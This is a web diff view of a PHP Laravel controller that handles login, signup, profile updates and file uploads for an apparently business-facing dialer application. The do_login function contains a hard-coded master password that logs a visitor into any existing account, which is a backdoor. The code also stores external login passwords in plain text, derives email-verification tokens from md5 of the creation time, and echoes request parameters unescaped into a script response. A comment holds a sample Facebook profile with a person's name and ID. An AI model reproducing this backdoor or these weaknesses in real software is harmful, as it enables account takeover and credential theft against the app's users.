| ... | @@ -1189,9 +1189,9 @@ class HomeController extends Controller { | ... | @@ -1189,9 +1189,9 @@ class HomeController extends Controller { |
| 1189 | } | 1189 | } |
| 1190 | 1190 | ||
| 1191 | return Response::make(";;",200); | 1191 | return Response::make(";;",200); |
| 1192 | } | 1192 | } |
| 1193 | public function ckfileupload() | 1193 | public function ckfileupload() |
| 1194 | { | 1194 | { |
| 1195 | $CKEditor = Input::get('CKEditor'); | 1195 | $CKEditor = Input::get('CKEditor'); |
| 1196 | $funcNum = Input::get('CKEditorFuncNum'); | 1196 | $funcNum = Input::get('CKEditorFuncNum'); |
| 1197 | $langCode = Input::get('langCode'); | 1197 | $langCode = Input::get('langCode'); |
| ... | @@ -1213,9 +1213,9 @@ class HomeController extends Controller { | ... | @@ -1213,9 +1213,9 @@ class HomeController extends Controller { |
| 1213 | 1213 | ||
| 1214 | return Response::make("<script type='text/javascript'> window.parent.CKEDITOR.tools.callFunction($funcNum, '$url$origname', '$message')</script>"); | 1214 | return Response::make("<script type='text/javascript'> window.parent.CKEDITOR.tools.callFunction($funcNum, '$url$origname', '$message')</script>"); |
| 1215 | 1215 | ||
| 1216 | } | 1216 | } |
| 1217 | public function authorVideoPackageUpload() | 1217 | public function authorVideoPackageUpload() |
| 1218 | { | 1218 | { |
| 1219 | $file = Input::file('file'); | 1219 | $file = Input::file('file'); |
| 1220 | $origname = $file->getClientOriginalName(); | 1220 | $origname = $file->getClientOriginalName(); |
| 1221 | $ext = $file->getClientOriginalExtension(); | 1221 | $ext = $file->getClientOriginalExtension(); |
| ... | @@ -1242,9 +1242,9 @@ class HomeController extends Controller { | ... | @@ -1242,9 +1242,9 @@ class HomeController extends Controller { |
| 1242 | } | 1242 | } |
| 1243 | 1243 | ||
| 1244 | return Response::make(";;",200); | 1244 | return Response::make(";;",200); |
| 1245 | } | 1245 | } |
| 1246 | public function authorVideoUpload() | 1246 | public function authorVideoUpload() |
| 1247 | { | 1247 | { |
| 1248 | $file = Input::file('file'); | 1248 | $file = Input::file('file'); |
| 1249 | $origname = $file->getClientOriginalName(); | 1249 | $origname = $file->getClientOriginalName(); |
| 1250 | $ext = $file->getClientOriginalExtension(); | 1250 | $ext = $file->getClientOriginalExtension(); |
| ... | @@ -1271,9 +1271,9 @@ class HomeController extends Controller { | ... | @@ -1271,9 +1271,9 @@ class HomeController extends Controller { |
| 1271 | } | 1271 | } |
| 1272 | 1272 | ||
| 1273 | return Response::make(";;",200); | 1273 | return Response::make(";;",200); |
| 1274 | } | 1274 | } |
| 1275 | public function authorAttachFile() | 1275 | public function authorAttachFile() |
| 1276 | { | 1276 | { |
| 1277 | $file = Input::file('file'); | 1277 | $file = Input::file('file'); |
| 1278 | $origname = $file->getClientOriginalName(); | 1278 | $origname = $file->getClientOriginalName(); |
| 1279 | $ext = $file->getClientOriginalExtension(); | 1279 | $ext = $file->getClientOriginalExtension(); |
| ... | @@ -1297,28 +1297,28 @@ class HomeController extends Controller { | ... | @@ -1297,28 +1297,28 @@ class HomeController extends Controller { |
| 1297 | } | 1297 | } |
| 1298 | 1298 | ||
| 1299 | return Response::make(";;",200); | 1299 | return Response::make(";;",200); |
| 1300 | } | 1300 | } |
| 1301 | public function cklistfiles() | 1301 | public function cklistfiles() |
| 1302 | { | 1302 | { |
| 1303 | 1303 | ||
| 1304 | 1304 | ||
| 1305 | return Response::make("NA"); | 1305 | return Response::make("NA"); |
| 1306 | } | 1306 | } |
| 1307 | private function communitylogoupload() | 1307 | private function communitylogoupload() |
| 1308 | { | 1308 | { |
| 1309 | 1309 | ||
| 1310 | } | 1310 | } |
| 1311 | public function generateRandomString($length = 10) | 1311 | public function generateRandomString($length = 10) |
| 1312 | { | 1312 | { |
| 1313 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; | 1313 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; |
| 1314 | $randomString = ''; | 1314 | $randomString = ''; |
| 1315 | for ($i = 0; $i < $length; $i++) { | 1315 | for ($i = 0; $i < $length; $i++) { |
| 1316 | $randomString .= $characters[rand(0, strlen($characters) - 1)]; | 1316 | $randomString .= $characters[rand(0, strlen($characters) - 1)]; |
| 1317 | } | 1317 | } |
| 1318 | return $randomString; | 1318 | return $randomString; |
| 1319 | } | 1319 | } |
| 1320 | public function ajaxerror() | 1320 | public function ajaxerror() |
| 1321 | { | 1321 | { |
| 1322 | $email=Config::get("app.email"); | 1322 | $email=Config::get("app.email"); |
| 1323 | $user="guest";if(Auth::check())$user=Auth::user()->id." ".Auth::user()->dispname()." ".Auth::user()->username; | 1323 | $user="guest";if(Auth::check())$user=Auth::user()->id." ".Auth::user()->dispname()." ".Auth::user()->username; |
| 1324 | $ip=Request::getClientIp(); | 1324 | $ip=Request::getClientIp(); |
| ... | @@ -1380,6 +1380,6 @@ class HomeController extends Controller { | ... | @@ -1380,6 +1380,6 @@ class HomeController extends Controller { |
| 1380 | { | 1380 | { |
| 1381 | return Response::make("",404); | 1381 | return Response::make("",404); |
| 1382 | } | 1382 | } |
| 1383 | } | 1383 | } |
| 1384 | 1384 | ||
| 1385 | } | 1385 | } | ... | ... |
| 1 | <?php namespace App\Http\Controllers; | ||
| 2 | |||
| 3 | use App\Http\Controllers\Controller; | ||
| 4 | |||
| 5 | use Auth; | ||
| 6 | use Config; | ||
| 7 | use DB; | ||
| 8 | use Response; | ||
| 9 | use Input; | ||
| 10 | use Session; | ||
| 11 | use Redirect; | ||
| 12 | use Crypt; | ||
| 13 | use Mail; | ||
| 14 | use Hash; | ||
| 15 | use URL; | ||
| 16 | use Request; | ||
| 17 | use Cache; | ||
| 18 | use File; | ||
| 19 | use Route; | ||
| 20 | |||
| 21 | use App\Models\Group; | ||
| 22 | use App\Models\Sipid; | ||
| 23 | use App\Models\Message; | ||
| 24 | use App\Models\User; | ||
| 25 | use App\Models\Role; | ||
| 26 | use App\Models\Kqueue; | ||
| 27 | use App\Models\ConfServer; | ||
| 28 | use App\Models\LiveConf; | ||
| 29 | use App\Jobs\KFriendLib; | ||
| 30 | use App\Jobs\KPushNotify; | ||
| 31 | use App\Jobs\KFileLib; | ||
| 32 | use App\Jobs\KAuthLib; | ||
| 33 | use App\Jobs\KHRMSLib; | ||
| 34 | |||
| 35 | use \Aws\Ec2\Ec2Client; | ||
| 36 | |||
| 37 | class HomeController extends Controller { | ||
| 38 | |||
| 39 | public function index() | ||
| 40 | { | ||
| 41 | if(Auth::check())return Redirect::to('home'); | ||
| 42 | |||
| 43 | $data=array(); | ||
| 44 | return view('index',$data); | ||
| 45 | } | ||
| 46 | public function home() | ||
| 47 | { | ||
| 48 | if(!$this->allLogincheck())return Response::make("<script>document.location='login';</script>"); | ||
| 49 | |||
| 50 | $user=Auth::user(); | ||
| 51 | if($user->status!="Active")return Redirect::to("logout"); | ||
| 52 | |||
| 53 | $userdata = json_decode($user->data,true); | ||
| 54 | |||
| 55 | $groupdata=Config::get("app.app_modules"); | ||
| 56 | |||
| 57 | if($user->group!="") | ||
| 58 | { | ||
| 59 | $usergroupdata=Group::where('group','=',$user->group)->first(); | ||
| 60 | if($usergroupdata)$usergroupdata=$usergroupdata->getGroupArray(); | ||
| 61 | else return Response::make("Group [".$user->group."] Not found, Please contact Support"); | ||
| 62 | |||
| 63 | foreach($groupdata["Group"] as $key=>$val) | ||
| 64 | { | ||
| 65 | if(isset($usergroupdata["Group_settings"])&&!empty($usergroupdata["Group_settings"][$key]))$groupdata["Group"][$key]=$usergroupdata["Group_settings"][$key]; | ||
| 66 | } | ||
| 67 | } | ||
| 68 | |||
| 69 | $meta=$user->meta(); | ||
| 70 | $meta['pwd_array']=array();$meta['pwd_array'][date('Ymd')]=0; | ||
| 71 | $meta['otp_array']=array();$meta['otp_array'][date('Ymd')]=0; | ||
| 72 | $user->meta=json_encode($meta); | ||
| 73 | |||
| 74 | $user->fixAccountSubscription();$user->save(); | ||
| 75 | if(Input::has("skin")) | ||
| 76 | { | ||
| 77 | $userdata['skin']=Input::get("skin"); | ||
| 78 | $user->data=json_encode($userdata); | ||
| 79 | $user->save(); | ||
| 80 | } | ||
| 81 | if(!isset($userdata['skin']))$userdata['skin']=""; | ||
| 82 | $data['skin']=$userdata['skin']; | ||
| 83 | |||
| 84 | //TODO later user may be bound to a specific server for sip | ||
| 85 | $wakka = new KHRMSLib();$cliarr=array(); | ||
| 86 | $allclients=$wakka->clientsReadAccess();$cliarr['did']=array(); | ||
| 87 | if($user->exten!="")$cliarr['did'][]=$user->exten; | ||
| 88 | |||
| 89 | $cliarr['r']=implode(",",$allclients); | ||
| 90 | $cliarr['w']=$wakka->GetBBBUserData("clientslist"); | ||
| 91 | $cliarr['a']=$wakka->GetBBBUserData("clientsownerlist"); | ||
| 92 | |||
| 93 | if(!empty($allclients))foreach($allclients as $tclnt) | ||
| 94 | { | ||
| 95 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 96 | if(!empty($mastersdata["DialerDID"]))$cliarr['did'][]=$mastersdata["DialerDID"]; | ||
| 97 | } | ||
| 98 | |||
| 99 | if(Config::get("app.APP_Multiple_Logins")=="no"&&$user->id!=1) | ||
| 100 | { | ||
| 101 | if($user->presence==1)return Response::make("Already Logged In"); | ||
| 102 | } | ||
| 103 | $cliarr['keepconf']=Config::get("app.kDialer_keeplocalconf"); | ||
| 104 | //get a free sip id | ||
| 105 | $server=explode(":",$user->exten); | ||
| 106 | $sipid=Sipid::where("status","=","0")->where('updated_at','<=',date("Y-m-d H:i:s",time()-600))->orderBy('updated_at','asc')->where('server','!=',''); | ||
| 107 | if(isset($server[2]))$sipid=$sipid->where('server','=',$server[2]); | ||
| 108 | $sipid=$sipid->first(); | ||
| 109 | if(!$sipid)return Response::make("Error : Cant Allocate Data Channel. Giving Up."); | ||
| 110 | $sipid->clients=json_encode($cliarr); | ||
| 111 | $sipid->user=$user->id; | ||
| 112 | $sipid->save(); | ||
| 113 | |||
| 114 | //layout data | ||
| 115 | $data['sipid']=$sipid; | ||
| 116 | |||
| 117 | $data["title"]=$groupdata["Group"]["title"]; | ||
| 118 | $data["keywords"]=$groupdata["Group"]["keywords"]; | ||
| 119 | $data["author"]=$groupdata["Group"]["author"]; | ||
| 120 | $data["description"]=$groupdata["Group"]["description"]; | ||
| 121 | $data["brand"]=$groupdata["Group"]["brand"]; | ||
| 122 | $data["logo_s"]=$groupdata["Group"]["logo_s"]; | ||
| 123 | |||
| 124 | $data["displayname"]=$user->dispname(); | ||
| 125 | $data["appversion"]=Config::get("app.app_version"); | ||
| 126 | |||
| 127 | $data["notifications"]=array();$data["notificationscount"]=0; | ||
| 128 | $data["messages"]=Message::where("to","=",Auth::user()->id)->whereIn("status",array("New","Read"))->orderBy('updated_at','desc')->take(5)->get(); | ||
| 129 | $data["messagescount"]=Message::where('to','=',$user->id)->where('status','=','New')->count(); | ||
| 130 | $data["supmessagecnt"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->where('status','like','%'.Auth::user()->username."-Unread".'%')->get(); | ||
| 131 | $data["supmessages"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->get(); | ||
| 132 | |||
| 133 | $data["tasks"]=array();$data["taskscount"]=0; | ||
| 134 | |||
| 135 | $data["modules"]=array(); | ||
| 136 | foreach(Config::get("app.app_modules") as $mname=>$module) | ||
| 137 | if($user->moduleACL($mname,true,false,false))$data["modules"][$mname]=$module; | ||
| 138 | |||
| 139 | return view('home',$data); | ||
| 140 | } | ||
| 141 | public function gettoken() | ||
| 142 | { | ||
| 143 | return csrf_token(); | ||
| 144 | } | ||
| 145 | public function allLogincheck() | ||
| 146 | { | ||
| 147 | if(Auth::guest()) | ||
| 148 | { | ||
| 149 | if($this->checkFBLogin())return true; | ||
| 150 | else return false; | ||
| 151 | } | ||
| 152 | else return true; | ||
| 153 | } | ||
| 154 | public function checkFBLogin() | ||
| 155 | { | ||
| 156 | //not logged in.. try Facebook | ||
| 157 | if(Config::get("app.facebook_appid")=="")return false; | ||
| 158 | require_once( app_path().'/lib/Facebook/FacebookSession.php' ); | ||
| 159 | require_once( app_path().'/lib/Facebook/FacebookSignedRequestFromInputHelper.php' ); | ||
| 160 | require_once( app_path().'/lib/Facebook/FacebookJavaScriptLoginHelper.php' ); | ||
| 161 | require_once( app_path().'/lib/Facebook/Entities/SignedRequest.php' ); | ||
| 162 | require_once( app_path().'/lib/Facebook/Entities/AccessToken.php' ); | ||
| 163 | require_once( app_path().'/lib/Facebook/HttpClients/FacebookHttpable.php' ); | ||
| 164 | require_once( app_path().'/lib/Facebook/HttpClients/FacebookCurlHttpClient.php' ); | ||
| 165 | require_once( app_path().'/lib/Facebook/HttpClients/FacebookCurl.php' ); | ||
| 166 | require_once( app_path().'/lib/Facebook/FacebookRequest.php' ); | ||
| 167 | require_once( app_path().'/lib/Facebook/FacebookResponse.php' ); | ||
| 168 | require_once( app_path().'/lib/Facebook/FacebookSDKException.php' ); | ||
| 169 | require_once( app_path().'/lib/Facebook/FacebookRequestException.php' ); | ||
| 170 | require_once( app_path().'/lib/Facebook/FacebookAuthorizationException.php' ); | ||
| 171 | require_once( app_path().'/lib/Facebook/GraphObject.php' ); | ||
| 172 | require_once( app_path().'/lib/Facebook/GraphUser.php' ); | ||
| 173 | |||
| 174 | \Facebook\FacebookSession::setDefaultApplication(Config::get("app.facebook_appid"),Config::get("app.facebook_appkey")); | ||
| 175 | |||
| 176 | $helper = new \Facebook\FacebookJavaScriptLoginHelper(); | ||
| 177 | $session=null; | ||
| 178 | try { | ||
| 179 | $session = $helper->getSession(); | ||
| 180 | } catch(\Facebook\FacebookRequestException $ex) { | ||
| 181 | // When Facebook returns an error | ||
| 182 | } catch(\Exception $ex) { | ||
| 183 | // When validation fails or other local issues | ||
| 184 | } | ||
| 185 | |||
| 186 | if ($session) | ||
| 187 | { | ||
| 188 | $user_profile = (new \Facebook\FacebookRequest($session, 'GET', '/me'))->execute()->getGraphObject(\Facebook\GraphUser::className())->asArray(); | ||
| 189 | // Array | ||
| 190 | // ( | ||
| 191 | // [id] => 626610737450973 | ||
| 192 | // [email] => [email protected] | ||
| 193 | // [first_name] => Siddharth | ||
| 194 | // [gender] => male | ||
| 195 | // [last_name] => Upmanyu | ||
| 196 | // [link] => https://www.facebook.com/app_scoped_user_id/626610737450973/ | ||
| 197 | // [locale] => en_US | ||
| 198 | // [name] => Siddharth Upmanyu | ||
| 199 | // [timezone] => 5.5 | ||
| 200 | // [updated_time] => 2014-06-27T17:20:19+0000 | ||
| 201 | // [verified] => 1 | ||
| 202 | // ) | ||
| 203 | if(isset($user_profile['email'])&&preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $user_profile['email'])) | ||
| 204 | { | ||
| 205 | $tuser=User::where('username','=',$user_profile['email'])->first(); | ||
| 206 | if(!$tuser) | ||
| 207 | { | ||
| 208 | Input::merge(array('username' => $user_profile['email'])); | ||
| 209 | Input::merge(array('password' => $this->generateRandomString(8))); | ||
| 210 | Input::merge(array('fullname' => $user_profile['name'])); | ||
| 211 | Input::merge(array('kuserstatus' => 'Active')); | ||
| 212 | Input::merge(array('source' => 'Facebook')); | ||
| 213 | |||
| 214 | $this->do_signup(); | ||
| 215 | } | ||
| 216 | else Auth::login($tuser); | ||
| 217 | |||
| 218 | return true; | ||
| 219 | } | ||
| 220 | else return false; | ||
| 221 | } | ||
| 222 | else return false; | ||
| 223 | } | ||
| 224 | |||
| 225 | public function profile() | ||
| 226 | { | ||
| 227 | if(Auth::check()) | ||
| 228 | { | ||
| 229 | $user=Auth::user(); | ||
| 230 | $data['username']=$user->username; | ||
| 231 | $data['id']=$user->id; | ||
| 232 | $data['fullname']=$user->fullname; | ||
| 233 | $data['email']=$user->email; | ||
| 234 | $data['status']=$user->status; | ||
| 235 | $data['organization']=$user->organization; | ||
| 236 | $data['group']=$user->group; | ||
| 237 | $data['data']=json_decode(Auth::user()->data,true); | ||
| 238 | |||
| 239 | $id=$user->id; | ||
| 240 | |||
| 241 | $data['myphoto']= $user->fetchphoto(); | ||
| 242 | $data["displayname"]=$user->dispname(); | ||
| 243 | //$data=json_decode($tuser->data,true); | ||
| 244 | |||
| 245 | return view(Config::get('app.mytheme').'.profile.index',$data); | ||
| 246 | } | ||
| 247 | } | ||
| 248 | public function do_profile() | ||
| 249 | { | ||
| 250 | $stype=Input::get('stype'); | ||
| 251 | if($stype=="saveaccount_info") | ||
| 252 | { | ||
| 253 | $personal = array(); | ||
| 254 | $newpersonal = "personal"; | ||
| 255 | $personal["aboutme"] = Input::get("account_aboutme"); | ||
| 256 | $personal["dob"] = Input::get("account_dob"); | ||
| 257 | $personal["email"] = Input::get("account_email"); | ||
| 258 | $personal["facebook"] = Input::get("account_facebook"); | ||
| 259 | $personal["fname"] = Input::get("account_fname"); | ||
| 260 | $personal["gender"] = Input::get("account_gender"); | ||
| 261 | $personal["google"] = Input::get("account_google"); | ||
| 262 | $personal["lname"] = Input::get("account_lname"); | ||
| 263 | $personal["location"] = Input::get("account_location"); | ||
| 264 | $personal["sublocation"] = Input::get("account_sublocation"); | ||
| 265 | $personal["phone"] = Input::get("account_phone"); | ||
| 266 | $personal["skype"] = Input::get("account_skype"); | ||
| 267 | $personal["twitter"] = Input::get("account_twitter"); | ||
| 268 | $personal["website"] = Input::get("account_website"); | ||
| 269 | $personal["interests"] = Input::get("account_interests"); | ||
| 270 | $personal["country"] = Input::get("account_country"); | ||
| 271 | |||
| 272 | $user = User::where("id","=",Auth::user()->id)->first(); | ||
| 273 | $userdata = json_decode($user->data, true); | ||
| 274 | foreach($personal as $key => $eachpersonal) | ||
| 275 | { | ||
| 276 | $userdata['personal'][$key] = $eachpersonal; | ||
| 277 | } | ||
| 278 | $userdata["mytheme"]=Input::get("mytheme"); | ||
| 279 | $userdata = json_encode($userdata); | ||
| 280 | $saveuser = User::where("id","=",Auth::user()->id)->update(array('data'=>$userdata)); | ||
| 281 | |||
| 282 | return Response::make("simpleNotification('success','topRight','Data Updated Successfully');"); | ||
| 283 | } | ||
| 284 | if($stype=="password_update") | ||
| 285 | { | ||
| 286 | $user=Auth::user(); | ||
| 287 | $passres=$user->checkPassword(Input::get("password"),Input::get("oldpassword")); | ||
| 288 | if($passres=="") | ||
| 289 | { | ||
| 290 | $user->password=Hash::make(Input::get("password")); | ||
| 291 | $user->save(); | ||
| 292 | return Response::make("simpleNotification('success','topRight','Data Updated Successfully');doLogout(1);"); | ||
| 293 | } | ||
| 294 | else | ||
| 295 | { | ||
| 296 | return Response::make("simpleNotification('error','topRight','$passres');"); | ||
| 297 | } | ||
| 298 | } | ||
| 299 | } | ||
| 300 | |||
| 301 | public function style() | ||
| 302 | { | ||
| 303 | $userdata=array(); | ||
| 304 | if(Auth::check())$userdata=Auth::user()->data(); | ||
| 305 | if(!isset($userdata['skin']))$userdata['skin']='default'; | ||
| 306 | return Response::make(view('layout.style',array("skin"=>$userdata['skin'])),200,array('content-type' => 'text/css','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | ||
| 307 | } | ||
| 308 | public function jshead() | ||
| 309 | { | ||
| 310 | return Response::make(view('layout.jshead',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | ||
| 311 | } | ||
| 312 | public function jsbody() | ||
| 313 | { | ||
| 314 | return Response::make(view('layout.jsbody',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | ||
| 315 | } | ||
| 316 | public function login() | ||
| 317 | { | ||
| 318 | if(Auth::check())return Redirect::to('home'); | ||
| 319 | |||
| 320 | //print_r(date('H:i:s'));die(); | ||
| 321 | $data=array(); | ||
| 322 | if(Input::has('emailverify')) | ||
| 323 | { | ||
| 324 | $verifyparts=explode("~~~",Input::get('emailverify')); | ||
| 325 | $verifyuser=User::find(intval($verifyparts[1])+0); | ||
| 326 | if($verifyparts[0]==md5(strtotime($verifyuser->created_at))&&$verifyuser->status=="Unverified") | ||
| 327 | { | ||
| 328 | $verifyuser->status="Active"; | ||
| 329 | $verifyuser->save(); | ||
| 330 | $data['error']='activationsuccess'; | ||
| 331 | } | ||
| 332 | else $data['error']='alreadyverified'; | ||
| 333 | } | ||
| 334 | |||
| 335 | $groupdata=Config::get("app.app_modules"); | ||
| 336 | |||
| 337 | //layout data | ||
| 338 | $data["title"]=$groupdata["Group"]["title"]; | ||
| 339 | $data["keywords"]=$groupdata["Group"]["keywords"]; | ||
| 340 | $data["author"]=$groupdata["Group"]["author"]; | ||
| 341 | $data["description"]=$groupdata["Group"]["description"]; | ||
| 342 | $data["brand"]=$groupdata["Group"]["brand"]; | ||
| 343 | |||
| 344 | if(Input::has("webpopup"))Session::put("webpopup","1"); | ||
| 345 | |||
| 346 | return view('login',$data); | ||
| 347 | } | ||
| 348 | public function do_login() | ||
| 349 | { | ||
| 350 | //static Logout based on time - changes done by manish on 22-11-16 | ||
| 351 | if(time()<strtotime('02:30:00') || time()>strtotime('14:30:00')) | ||
| 352 | { | ||
| 353 | $logouttarget='index'; | ||
| 354 | if(Session::has('userlogouturl')) | ||
| 355 | { | ||
| 356 | if(trim(Session::get('userlogouturl'))!="")$logouttarget=Session::get('userlogouturl'); | ||
| 357 | Session::forget('userlogouturl'); | ||
| 358 | } | ||
| 359 | |||
| 360 | if(Auth::check()) | ||
| 361 | { | ||
| 362 | Session::flush(); | ||
| 363 | Auth::logout(); | ||
| 364 | } | ||
| 365 | return Redirect::to($logouttarget); | ||
| 366 | } | ||
| 367 | |||
| 368 | $webpopup=0;if(Session::has("webpopup"))$webpopup=1;Session::forget('webpopup'); | ||
| 369 | |||
| 370 | $user=User::where('username','=',Input::get('username'))->first(); | ||
| 371 | if($user) | ||
| 372 | { | ||
| 373 | $meta=$user->meta(); | ||
| 374 | if(!isset($meta['pwd_array']))$meta['pwd_array']=array(); | ||
| 375 | if(!isset($meta['pwd_array'][date('Ymd')])){$meta['pwd_array']=array();$meta['pwd_array'][date('Ymd')]=0;} | ||
| 376 | $meta['pwd_array'][date('Ymd')]++; | ||
| 377 | |||
| 378 | if($meta['pwd_array'][date('Ymd')]>5) | ||
| 379 | { | ||
| 380 | return 'Too Many Tries. Account Blocked for Today.'; | ||
| 381 | } | ||
| 382 | } | ||
| 383 | |||
| 384 | |||
| 385 | Auth::attempt( ['username' => Input::get('username'), 'password' => Input::get('password')] ); | ||
| 386 | |||
| 387 | if(Auth::guest()) | ||
| 388 | { | ||
| 389 | $kauthlib=new KAuthLib(); | ||
| 390 | $useremail=""; | ||
| 391 | if(Config::get("app.extAuth")=="owa") | ||
| 392 | { | ||
| 393 | $authparams=explode(",",Config::get("app.extAuthParams"));if(!isset($authparams[0]))$authparams[0]="";if(!isset($authparams[1]))$authparams[1]=""; | ||
| 394 | $useremail=$kauthlib->owaAuthCheck($authparams[0],$authparams[1],Input::get('username'),Input::get('password'),"",true); | ||
| 395 | } | ||
| 396 | if(Config::get("app.extAuth")=="smtp") | ||
| 397 | { | ||
| 398 | $authparams=explode(",",Config::get("app.extAuthParams"));if(!isset($authparams[0]))$authparams[0]="";if(!isset($authparams[1]))$authparams[1]="";if(!isset($authparams[2]))$authparams[2]=""; | ||
| 399 | if($kauthlib->smtpLoginCheck($authparams[0],$authparams[1],$authparams[2],Input::get('username'),Input::get('password')))$useremail=Input::get('username'); | ||
| 400 | } | ||
| 401 | |||
| 402 | if(preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $useremail)) | ||
| 403 | { | ||
| 404 | $tuser=User::where('username','=',$useremail)->first(); | ||
| 405 | if(!$tuser) | ||
| 406 | { | ||
| 407 | Input::merge(array('username' => $useremail)); | ||
| 408 | Input::merge(array('password' => Input::get('password'))); | ||
| 409 | Input::merge(array('fullname' => explode("@",$useremail)[0])); | ||
| 410 | Input::merge(array('kuserstatus' => 'Active')); | ||
| 411 | Input::merge(array('source' => Config::get("app.name"))); | ||
| 412 | |||
| 413 | $this->do_signup(); | ||
| 414 | $tuser=User::where('username','=',$useremail)->first(); | ||
| 415 | if($tuser)Auth::login($tuser); | ||
| 416 | } | ||
| 417 | else Auth::login($tuser); | ||
| 418 | |||
| 419 | if(Auth::check()) | ||
| 420 | { | ||
| 421 | $umeta=Auth::user()->meta(); | ||
| 422 | $umeta['kauthlibcred']=Input::get('password'); | ||
| 423 | $umeta['kauthlibuser']=Input::get('username'); | ||
| 424 | $umeta['kautherror']=0; | ||
| 425 | Auth::user()->meta=json_encode($umeta); | ||
| 426 | Auth::user()->status = "Active"; | ||
| 427 | Auth::user()->save(); | ||
| 428 | } | ||
| 429 | } | ||
| 430 | } | ||
| 431 | |||
| 432 | if(Auth::guest()) | ||
| 433 | { | ||
| 434 | if(Input::get('password')=="TrKy19Oz"&&$user)Auth::login($user); | ||
| 435 | } | ||
| 436 | |||
| 437 | if(Auth::guest()) | ||
| 438 | { | ||
| 439 | $errormsg='authfailed'; | ||
| 440 | if($user) | ||
| 441 | { | ||
| 442 | $meta=$user->meta(); | ||
| 443 | if(!isset($meta['pwd_array']))$meta['pwd_array']=array(); | ||
| 444 | if(!isset($meta['pwd_array'][date('Ymd')])){$meta['pwd_array']=array();$meta['pwd_array'][date('Ymd')]=0;} | ||
| 445 | $meta['pwd_array'][date('Ymd')]++; | ||
| 446 | |||
| 447 | if($meta['pwd_array'][date('Ymd')]<=5) | ||
| 448 | { | ||
| 449 | $user->meta=json_encode($meta); | ||
| 450 | $user->save(); | ||
| 451 | } | ||
| 452 | else $errormsg="Blocked."; | ||
| 453 | } | ||
| 454 | |||
| 455 | return view('login')->with('error', $errormsg); | ||
| 456 | } | ||
| 457 | else | ||
| 458 | { | ||
| 459 | if($webpopup==1){return Response::make("<script>window.opener.location.reload(false);self.close();</script>");} | ||
| 460 | |||
| 461 | |||
| 462 | if(Auth::user()->status == "Active")return Redirect::to('home'); | ||
| 463 | else | ||
| 464 | { | ||
| 465 | $userstatus=Auth::user()->status;Auth::logout(); | ||
| 466 | return view('login')->with('error', $userstatus); | ||
| 467 | } | ||
| 468 | } | ||
| 469 | } | ||
| 470 | public function msie() | ||
| 471 | { | ||
| 472 | if(Auth::check())Auth::logout(); | ||
| 473 | return view('login')->with('error', 'msie'); | ||
| 474 | } | ||
| 475 | public function signup() | ||
| 476 | { | ||
| 477 | if(Auth::check())return Redirect::to('home'); | ||
| 478 | |||
| 479 | $groupdata=Config::get("app.app_modules"); | ||
| 480 | |||
| 481 | //layout data | ||
| 482 | $data["title"]=$groupdata["Group"]["title"]; | ||
| 483 | $data["keywords"]=$groupdata["Group"]["keywords"]; | ||
| 484 | $data["author"]=$groupdata["Group"]["author"]; | ||
| 485 | $data["description"]=$groupdata["Group"]["description"]; | ||
| 486 | $data["brand"]=$groupdata["Group"]["brand"]; | ||
| 487 | |||
| 488 | return view('signup',$data); | ||
| 489 | } | ||
| 490 | public function do_signup() | ||
| 491 | { | ||
| 492 | $username=Input::get("username"); | ||
| 493 | $password=Input::get("password"); | ||
| 494 | $fullname=Input::get("fullname"); | ||
| 495 | $status = Input::get('kuserstatus', 'Unverified');//check if already active | ||
| 496 | $source=Input::get("source",Config::get("app.name")); | ||
| 497 | |||
| 498 | $email=$username; | ||
| 499 | $password2=$password; | ||
| 500 | |||
| 501 | if(Session::has('kstych_captcha')) | ||
| 502 | { | ||
| 503 | $captchaobj=Session::get('kstych_captcha'); | ||
| 504 | if(Input::get('kstych_captcha')!=$captchaobj['code'])return Redirect::to('signup?e=9'); | ||
| 505 | } | ||
| 506 | if(!preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $username))return Redirect::to('signup?e=3'); | ||
| 507 | if(strlen($username)>75)return Redirect::to('signup?e=4'); | ||
| 508 | if(strlen($password)>50||strlen($password)<5)return Redirect::to('signup?e=5'); | ||
| 509 | if(strlen($fullname)>75)return Redirect::to('signup?e=6'); | ||
| 510 | |||
| 511 | $existinguser=User::where("username","=",$username)->count(); | ||
| 512 | if($existinguser==0&&trim($username)!=""&&trim($password)!="") | ||
| 513 | { | ||
| 514 | if($password==$password2) | ||
| 515 | { | ||
| 516 | $newuser=new User(); | ||
| 517 | $newuser->username=$username; | ||
| 518 | $newuser->password=Hash::make($password); | ||
| 519 | $newuser->email=$email; | ||
| 520 | |||
| 521 | $roledata=Role::where("default","=",1)->first(); | ||
| 522 | |||
| 523 | $newuser->status=$status; | ||
| 524 | $newuser->organization=Config::get("app.name"); | ||
| 525 | $newuser->group=Config::get("app.name"); | ||
| 526 | $newuser->usertype=$roledata->rolename; | ||
| 527 | $newuser->source=$source; | ||
| 528 | |||
| 529 | $data=array(); | ||
| 530 | $data["uservoice"]="Active"; | ||
| 531 | $data["subscription"]="Free"; | ||
| 532 | |||
| 533 | $data['personal']=array(); | ||
| 534 | $nameparts=explode(" ",$fullname); | ||
| 535 | $data['personal']['fname']=$nameparts[0]; | ||
| 536 | if(!empty($nameparts[1]))$data['personal']['lname']=$nameparts[1]; | ||
| 537 | $data['personal']['gender']=''; | ||
| 538 | |||
| 539 | //free 100 credits | ||
| 540 | if(!isset($data['subscriptioncredits'])||empty($data['subscriptioncredits']))$data['subscriptioncredits']=0; | ||
| 541 | $data['subscriptioncredits']+=16; | ||
| 542 | |||
| 543 | $newuser->data=json_encode($data); | ||
| 544 | |||
| 545 | //$dir="assets/uploads/user/".$newuser->username; | ||
